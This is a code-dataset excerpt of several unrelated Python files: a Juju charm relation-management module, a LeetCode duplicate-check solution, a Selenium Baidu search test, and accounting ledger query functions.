pass\n\n\nclass TooManyProviders(EventBase):\n \"\"\"Event raised when more than one provider is related in single mode.\n\n A consumer charm may allow relations with a single or multiple\n providers, for a specific relation name. This choice is specified\n by the `multi` argument of the :class:`ConsumerBase` constructor. In\n \"single\" mode if more than one provider charm is related to the\n consumer, this event is raised. In particular, the events are\n raised in response to a relation joined event for each additional\n unit of the same or any additional provider.\n \"\"\"\n pass\n\n\nclass ConsumerEvents(CharmEvents):\n \"\"\"Descriptor for consumer charm events.\"\"\"\n available = EventSource(ProviderAvailable)\n invalid = EventSource(ProviderInvalid)\n unready = EventSource(ProviderUnready)\n broken = EventSource(ProviderBroken)\n too_many_providers = EventSource(TooManyProviders)\n\n\nclass ConsumerBase(Object):\n \"\"\"Manages relations with a service provider.\n\n The :class:`ConsumerBase` object manages relations with service\n provider charms, by checking compatibility between consumer\n requirements and provider type and version specification. Any\n charm that uses services provided by other charms may manage its\n relation with the providers by instantiating a :class:`ConsumerBase`\n object for each such relation. A :class:`ConsumerBase` object may be\n instantiated in the `__init__` method of the consumer charm as\n follows\n\n Example::\n\n self.provider_name = ConsumerBase(self, relation_name, consumes)\n\n In managing the relation between provider and consumer, the\n :class:`ConsumerBase` object may raise any of the following events,\n that a consumer charm can choose to respond to\n\n - :class:`ProviderAvailable`\n - :class:`ProviderInvalid`\n - :class:`ProviderUnready`\n - :class:`ProviderBroken`\n - :class:`TooManyProviders`\n\n Note that these events may be raised multiple times during the\n lifetime of a charm. In particular every time there is a change to\n the relation data shared between provider and consumer, one of the\n first three events is raised.\n\n Args:\n charm: :class:`ops.charm.CharmBase` derived object that is\n instantiating the :class:`ConsumerBase` object. This is almost\n always `self`.\n name: string name of relation (as defined in `metadata.yaml`) that\n consumer charms will use to interact with provider charms.\n consumes: a dictionary containing acceptable provider\n specifications. The dictionary may contain key value\n pairs any one of which is an acceptable provider\n specifications. The keys in these specifications are the\n service names strings. And the values are version\n specification strings. Here service name and service\n version pertain to the software service required by the\n consumer charm. The version specification strings can by\n in any form that is compatible with the\n `semver `_ Python\n package. A valid example of the `consumes` dictionary is\n Example::\n\n consumes = {'mysql': '>5.0.2', 'mariadb': '<=6.1.0'}\n\n multi: a Boolean flag that indicates if the :class:`ConsumerBase` derived\n object supports multiple relations with the same relation name. By\n default this is `False`.\n \"\"\"\n on = ConsumerEvents()\n _stored = StoredState()\n\n def __init__(self, charm, name, consumes, multi=False):\n super().__init__(charm, name)\n\n self.name = name\n self.consumes = consumes\n self.multi_mode = multi\n self._stored.set_default(relation_id=None)\n\n events = charm.on[name]\n self.framework.observe(events.relation_joined, self._on_provider_joined)\n self.framework.observe(events.relation_changed, self._on_provider_changed)\n self.framework.observe(events.relation_broken, self._on_provider_broken)\n self.framework.observe(charm.on.upgrade_charm, self._validate_provider)\n\n @property\n def relation_id(self):\n \"\"\"Identifier for relation with producer.\n\n Returns:\n an integer identifier of relation with :class:`ProviderBase`\n if :class:`ConsumerBase` was instantiated in single\n mode (`multi=False`) and a valid relation exists. If either\n of these two conditions is false `None` is returned.\n \"\"\"\n return self._stored.relation_id if self._stored.relation_id else None\n\n def _on_provider_joined(self, event):\n \"\"\"Check if a new or additional provider is acceptable.\n\n Consumer charms may choose to allow only one or multplie\n relations with a provider, for a specific relation name. This\n choice is made using the `multi` argument of the\n :class:`ConsumerBase`. On every relation joined event with a\n provider a check is done to see if the new or additional\n provider relation is acceptable. In single mode more than one\n provider is not acceptable and in this case a\n :class:`TooManyProviders` event is emitted.\n \"\"\"\n rel_id = event.relation.id\n if not self._provider_acceptable(rel_id):\n self.on.too_many_providers.emit()\n\n def _on_provider_changed(self, event):\n \"\"\"Validate provider on relation changed event.\n\n This method checks the provider for compatibility with the\n consumer every time a relation changed event is raised. The\n provider is also checked to ensure it is ready to service\n requests. In response to these checks any of the following\n events may be raised.\n\n - :class:`ProviderAvailable`\n - :class:`ProviderInvalid`\n - :class:`ProviderUnready`\n - :class:`TooManyProviders`\n\n Note that these events may be raised multiple times during the\n lifetime of a charm.\n\n Args:\n event: an event object. It is expected that the event object\n contains a key `provider_data` whose value is all the data\n forwarded by the :class:`ProviderBase` object.\n \"\"\"\n rel_id = event.relation.id\n if not self._provider_acceptable(rel_id):\n self.on.too_many_providers.emit()\n return\n\n rdata = event.relation.data[event.app]\n logger.debug(\"Got data from provider : %s\", rdata)\n provider_data = rdata.get('provider_data')\n consumed = self.consumes\n if provider_data:\n data = json.loads(provider_data)\n try:\n provides = data['provides']\n except KeyError:\n # provider has not set any specification\n # so no compatibility checks are done\n # and no events are raised\n logger.warning('Provider not specified')\n return\n else:\n logger.debug('No provider data')\n # provider has not given any information\n # so provider will not be made available (as yet)\n return\n\n ready = data.get('ready')\n if not ready:\n self.on.unready.emit()\n return\n\n requirements_met = self._meets_requirements(provides, consumed)\n\n if requirements_met:\n logger.debug('Got compatible provider : %s', provider_data)\n if not self.multi_mode and not self._stored.relation_id:\n self._stored.relation_id = rel_id\n logger.debug('Saved relation id : %s', rel_id)\n self.on.available.emit(data)\n else:\n logger.error('Incompatible provider : Need %s, Got %s',\n consumed, provider_data)\n self.on.invalid.emit(provides)\n\n def _on_provider_broken(self, event):\n \"\"\"Inform consumer charm that provider relation no longer exists.\n\n This method raises a :class:`ProviderBroken` event in response to\n a relation broken event.\n\n Args:\n event: an event object\n \"\"\"\n logger.debug(\"Provider Broken : %s\", event)\n if not self.multi_mode:\n self._stored.relation_id = None\n self.on.broken.emit()\n\n def _validate_provider(self, event):\n \"\"\"Check provider and consumer compatibility.\n\n This method validates provider consumer compatibility using\n data that is already available in the application relation\n bucket.\n\n Args:\n event: an event object\n \"\"\"\n logger.debug(\"Validating provider(s) : %s\", event)\n consumed = self.consumes\n\n for relation in self.framework.model.relations[self.name]:\n rel_id = relation.id\n if not self._provider_acceptable(rel_id):\n continue\n\n data = self._provider_data(rel_id)\n if data:\n try:\n provides = data['provides']\n except KeyError:\n continue\n\n requirements_met = self._meets_requirements(provides, consumed)\n if requirements_met:\n self.on.available.emit(data)\n else:\n logger.error('Provider no longer compatible, Need %s, have %s',\n consumed, data)\n self.on.invalid.emit(data)\n\n def _meets_requirements(self, provides, consumes):\n \"\"\"Check if provider and consumer are compatible.\n\n Args:\n provides: a dictionary with a single key value pair. The key\n is a string naming the service provided. The value is a\n string given the version of the provided service.\n consumes: a dictionary with zero or more key value pairs. Each\n key is a string name of a service that is acceptable. The\n corresponding value is a string representing an acceptable\n version specification. The version specification can be in any\n format that is compatible with the\n `semver `_ Python package.\n\n Returns:\n bool: True if the producer and consumer specification are\n compatible.\n \"\"\"\n assert(len(provides) == 1)\n provided = tuple(provides.items())[0]\n for required in consumes.items():\n if self._is_compatible(provided, required):\n return True\n return False\n\n def _is_compatible(self, has, needs):\n \"\"\"Is a provider and consumer specification compatible.\n\n Args:\n has: a tuple (pair) of strings. The first string is a\n string naming the service provided. The second is a\n string giving the version of the provided service.\n needs: a tuple (pair) of strings. The first string is a\n string naming an acceptable services type. The second is a\n string specifying acceptable versions for the service\n type. The version specification can be in any format that is\n compatible with the\n `semver `_ Python package.\n\n Returns:\n bool: True if the provider and consumer specification are\n compatible.\n \"\"\"\n # if consumer has no constraints\n # compatibility is true by default\n if not needs:\n return True\n\n # if consumer has constraints but provider\n # has no specification compatibility can not\n # be determined and is hence false by default\n if not has and needs:\n return False\n\n # By now we know both consumer and provider have a\n # constraint specification so we check if the\n # constraint type is the same\n has_type = self._normalized_type(has)\n needs_type = self._normalized_type(needs)\n if has_type != needs_type:\n return False\n\n # By now we know consumer and provider have the\n # same constraint type so we check if the constraints\n # are further qualified by version specifications\n\n # If consumer is not qualified, provider and\n # consumer are compatible by default\n if not self._has_version(needs):\n return True\n\n # If consumer is qualified but provider is not there\n # is no way to determine compatibility so it is False\n # by default\n if not self._has_version(has):\n return False\n\n # Both consumer and provider are qualified so we\n # check compatibility of version\n spec = semver.SimpleSpec(self._normalized_version(needs))\n got = semver.Version.coerce(self._normalized_version(has))\n\n return spec.match(got)\n\n def _has_version(self, constraint):\n \"\"\"Does the constraint have a version qualification.\n\n Args:\n constraint: a tuple containing a service type (first member)\n and optionally a service version (second member)\n\n Returns:\n bool: True if a service version is present in constraint.\n \"\"\"\n if len(constraint) == 2 and constraint[1] is not None:\n return True\n return False\n\n def _normalized_version(self, constraint):\n \"\"\"Remove spaces from version strings.\n\n Args:\n constraint: a tuple containing two members. The second member being\n a `semver` version specification.\n\n Returns:\n str: a version specification that has spaces removed in\n order to make it compatible with the `semver` package\n utilities.\n \"\"\"\n version = constraint[1]\n return \"\".join(version.split()) if ' ' in version else version\n\n def _normalized_type(self, constraint):\n \"\"\"Extract and lowercase type from specification.\n\n Args:\n constraint: a tuple contain two members. The first member\n being the string name of the service type.\n\n Returns:\n str: all lowercase equivalent of spec string, in order to\n facilitate case insensitive comparison of service types.\n \"\"\"\n return constraint[0].lower()\n\n def _provider_data(self, rel_id=None):\n \"\"\"Get provider relation data.\n\n Args:\n rel_id: integer identity of relation for which data is\n required. If the :class:`ConsumerBase` object was instantiated using\n `multi=True` then `rel_id` is a required argument, otherwise\n it is optional (and not used)\n\n Returns:\n dict: containing provider application relation relation data.\n \"\"\"\n if self.multi_mode:\n assert(rel_id is not None)\n rel = self.framework.model.get_relation(self.name, rel_id)\n else:\n assert(len(self.framework.model.relations[self.name]) == 1)\n rel = self.framework.model.get_relation(self.name)\n\n data = json.loads(rel.data[rel.app]['provider_data'])\n return data\n\n def _provider_acceptable(self, rel_id):\n \"\"\"Is a new or an additional provider acceptable.\n\n Args:\n rel_id : integer ID of provider relation\n\n Returns:\n True if provider is acceptable else false.\n \"\"\"\n # only accept a provider if any of the following is true\n # 1) in multi mode\n # 2) seeing the first provider in single mode\n # 3) seeing the same provider again in single mode\n stored_id = self._stored.relation_id\n check_single = ((stored_id is None) or (stored_id == rel_id))\n if self.multi_mode or check_single:\n return True\n return False\n","sub_path":"ops/relation.py","file_name":"relation.py","file_ext":"py","file_size_in_byte":24047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"179051148","text":"# https://leetcode.com/problems/contains-duplicate/\n\nclass Solution(object):\n\n # Time complexity: O(1)\n # Space complexity: O(1)\n def containsDuplicateSet(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n return len(nums) != len(set(nums))\n\n # Time complexity: O(1)\n # Space complexity: O(n)\n def containsDuplicateDictionary(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n dict = {}\n for num in nums:\n if num in dict:\n return True\n else:\n dict[num] = 1\n\n return False","sub_path":"contains-duplicate.py","file_name":"contains-duplicate.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"646723654","text":"# -*- coding: UTF-8 -*-\n\nfrom selenium import webdriver\nimport unittest, time\nfrom HTMLTestRunner import HTMLTestRunner\n\n\nclass Baidu(unittest.TestCase):\n\n def setUp(self):\n self.driver = webdriver.Firefox()\n self.driver.implicitly_wait(10)\n self.base_url = \"http://www.baidu.com\"\n\n def test_baidu_search(self):\n driver = self.driver\n driver.get(self.base_url + \"/\")\n driver.find_element_by_id(\"kw\").clear()\n driver.find_element_by_id(\"kw\").send_keys(\"13750002611\")\n driver.find_element_by_id(\"su\").click()\n\n def tearDown(self):\n self.driver.quit()\n\n\nif __name__ == \"__main__\":\n testunit = unittest.TestSuite()\n testunit.addTest(Baidu(\"test_badiu_search\"))\n now = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n filename = './' + now + 'result.html'\n fp = open(filename, 'wb')\n runner = HTMLTestRunner(stream=fp,\n title=u'baidu搜索测试报告',\n description=u'用例执行情况:')\n runner.run(testunit)\n fp.close()\n","sub_path":"test_project/test_case/test_baidu.py","file_name":"test_baidu.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"296086877","text":"# Copyright (c) 2016, AB Uobis\n# All rights reserved.\n\nimport datetime\nfrom collections import OrderedDict\nfrom sqlalchemy.sql import func\nfrom xac import db, models\nimport xac.accounting.rates as rates\nfrom dateutil import parser\n\ndef query_entries(accountName, groupby, currency):\n if groupby == \"All\":\n ledger_entries = models.LedgerEntries \\\n .query \\\n .filter_by(ledger=accountName) \\\n .filter_by(currency=currency) \\\n .order_by(models.LedgerEntries.date.desc()) \\\n .order_by(models.LedgerEntries.tside.desc()) \\\n .all()\n account = foot_account(accountName, ledger_entries, 'All')\n elif groupby == \"Daily\":\n debit_ledger_entries = db.session\\\n .query( \\\n func.date_part('year', models.LedgerEntries.date), \\\n func.date_part('month', models.LedgerEntries.date), \\\n func.date_part('day', models.LedgerEntries.date), \\\n func.sum(models.LedgerEntries.amount)) \\\n .filter_by(ledger=accountName)\\\n .filter_by(tside='debit')\\\n .filter_by(currency=currency)\\\n .group_by( \\\n func.date_part('year', models.LedgerEntries.date), \\\n func.date_part('month', models.LedgerEntries.date), \\\n func.date_part('day', models.LedgerEntries.date)) \\\n .all()\n credit_ledger_entries = db.session \\\n .query( \\\n func.date_part('year', models.LedgerEntries.date), \\\n func.date_part('month', models.LedgerEntries.date), \\\n func.date_part('day', models.LedgerEntries.date), \\\n func.sum(models.LedgerEntries.amount))\\\n .filter_by(currency=currency) \\\n .filter_by(ledger=accountName) \\\n .filter_by(tside='credit') \\\n .group_by( \\\n func.date_part('year', models.LedgerEntries.date), \\\n func.date_part('month', models.LedgerEntries.date), \\\n func.date_part('day', models.LedgerEntries.date)) \\\n .all()\n ledger_entries = {}\n for entry in debit_ledger_entries:\n day = datetime.date(int(entry[0]), int(entry[1]), int(entry[2]))\n if not day in ledger_entries:\n ledger_entries[day] = {}\n ledger_entries[day]['debit'] = int(entry[3])\n for entry in credit_ledger_entries:\n day = datetime.date(int(entry[0]), int(entry[1]), int(entry[2]))\n if not day in ledger_entries:\n ledger_entries[day] = {}\n ledger_entries[day]['credit'] = int(entry[3])\n ledger_entries = OrderedDict(sorted(ledger_entries.items()))\n account = foot_account(accountName, ledger_entries, 'Summary')\n elif groupby == \"Monthly\":\n debit_ledger_entries = db.session \\\n .query( \\\n func.date_part('year', models.LedgerEntries.date), \\\n func.date_part('month', models.LedgerEntries.date), \\\n func.sum(models.LedgerEntries.amount)) \\\n .filter_by(ledger=accountName) \\\n .filter_by(currency=currency) \\\n .filter_by(tside='debit') \\\n .group_by( \\\n func.date_part('year', models.LedgerEntries.date), \\\n func.date_part('month', models.LedgerEntries.date)) \\\n .all()\n credit_ledger_entries = db.session\\\n .query( \\\n func.date_part('year', models.LedgerEntries.date), \\\n func.date_part('month', models.LedgerEntries.date), \\\n func.sum(models.LedgerEntries.amount)) \\\n .filter_by(ledger=accountName) \\\n .filter_by(currency=currency) \\\n .filter_by(tside='credit') \\\n .group_by( \\\n func.date_part('year', models.LedgerEntries.date), \\\n func.date_part('month', models.LedgerEntries.date)) \\\n .all()\n ledger_entries = {}\n for entry in debit_ledger_entries:\n month = datetime.date(int(entry[0]), int(entry[1]), 1)\n if not month in ledger_entries:\n ledger_entries[month] = {}\n ledger_entries[month]['debit'] = int(entry[2])\n for entry in credit_ledger_entries:\n month = datetime.date(int(entry[0]), int(entry[1]), 1)\n if not month in ledger_entries:\n ledger_entries[month] = {}\n ledger_entries[month]['credit'] = int(entry[2])\n ledger_entries = OrderedDict(sorted(ledger_entries.items()))\n account = foot_account(accountName, ledger_entries, 'Summary')\n return [account, ledger_entries]\n\ndef foot_account(accountName, entries, interval):\n account = {}\n account['accountName'] = accountName\n account['totalDebit'] = 0\n account['totalCredit'] = 0\n account['debitBalance'] = 0\n account['creditBalance'] = 0\n if interval == 'All':\n for entry in entries:\n if entry.tside == 'debit' and entry.ledger == account['accountName']:\n account['totalDebit'] += entry.amount\n elif entry.tside == 'credit' and entry.ledger == account['accountName']:\n account['totalCredit'] += entry.amount\n if account['totalDebit'] > account['totalCredit']:\n account['debitBalance'] = account['totalDebit'] - account['totalCredit']\n elif account['totalDebit'] < account['totalCredit']:\n account['creditBalance'] = account['totalCredit'] - account['totalDebit']\n return account\n elif interval == 'Summary':\n for entry in entries:\n if 'debit' in entries[entry]:\n account['totalDebit'] += entries[entry]['debit']\n if 'credit' in entries[entry]:\n account['totalCredit'] += entries[entry]['credit']\n if account['totalDebit'] > account['totalCredit']:\n account['debitBalance'] = account['totalDebit'] - account['totalCredit']\n elif account['totalDebit'] < account['totalCredit']:\n account['creditBalance'] = account['totalCredit'] - account['totalDebit']\n return account\n \ndef get_balance(accountName, querydate):\n if type(querydate) is not datetime.datetime:\n querydate = parser.parse(querydate)\n transactions = query = db.session.query(\\\n models.LedgerEntries.amount,\\\n models.LedgerEntries.date,\\\n models.LedgerEntries.tside).\\\n filter(models.LedgerEntries.ledger_name==accountName, models.LedgerEntries.date <= querydate).\\\n all()\n balance = 0\n for transaction in transactions:\n if transaction[2] == 'debit':\n balance += transaction[0]\n elif transaction[2] == 'credit':\n balance -= transaction[0]\n if balance > 0:\n debitBalance = balance\n creditBalance = 0\n elif balance < 0:\n debitBalance = 0\n creditBalance = balance\n else:\n debitBalance = 0\n creditBalance = 0\n balance = {'accountName': accountName,\\\n 'debitBalance' : debitBalance,\\\n 'creditBalance' : creditBalance}\n return balance\n","sub_path":"xac/accounting/ledgers.py","file_name":"ledgers.py","file_ext":"py","file_size_in_byte":7016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"}